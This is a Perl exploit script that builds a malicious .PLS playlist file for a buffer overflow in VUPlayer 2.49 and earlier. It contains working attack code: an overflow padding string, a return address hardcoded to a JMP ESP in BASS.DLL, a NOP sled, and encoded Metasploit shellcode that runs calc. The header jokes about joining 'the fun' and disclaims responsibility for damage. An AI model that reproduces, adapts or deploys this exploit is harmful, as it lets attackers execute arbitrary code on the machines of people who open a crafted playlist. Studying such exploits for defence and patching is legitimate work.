#!/usr/bin/perl # VUPlayer <= 2.49 .PLS Universal Buffer Overflow Exploit # ------------------------------------------------------- # Discovered & Exploit by SkD (skdrat@hotmail.com) & # (skd@abysssec.com) # ------------------------------------------------------- # This is a pretty cool player considering it is # freeware. You may download VUPlayer at the affected # vendors homepage: # http://www.vuplayer.com # # With the recent resurgence of buffer overflows in # in media players, I thought I'd join in the fun ;). # The exploit is pretty much straight forward and it's # also universal so 2x the fun (tested on Win2k and # Vista). # # Enjoy. # # Shouts go to InTeL, shahin & rest of Abysssec, suN8Hclf # and most importantly KkD. # # Note: Author has no responsibility over the damage you do # with this! # _________ ___ ________ # / _____/| | __\______ \ # \_____ \ | |/ / | | \ # / \| < | ` \ # /_______ /|__|_ \/_______ / # \/ \/ \/ use strict; use warnings; # win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44". "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47". "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38". "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48". "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c". "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58". "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44". "\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38". "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33". "\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47". "\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a". "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b". "\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53". "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57". "\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39". "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46". "\x4e\x46\x43\x36\x42\x50\x5a"; my $overflow = "\x41" x 1005; my $eip = "\xc5\x22\x02\x10"; #0x100222C5 JMP ESP BASS.DLL -> Universal Address my $nopsled = "\x90" x 24; open(my $pls_playlist, "> s.pls"); print $pls_playlist "[playlist]\r\n". "NumberOfEntries=1\r\n". "File1=http://". $overflow.$eip.$nopsled.$shellcode.$overflow. "\r\n"; close $pls_playlist;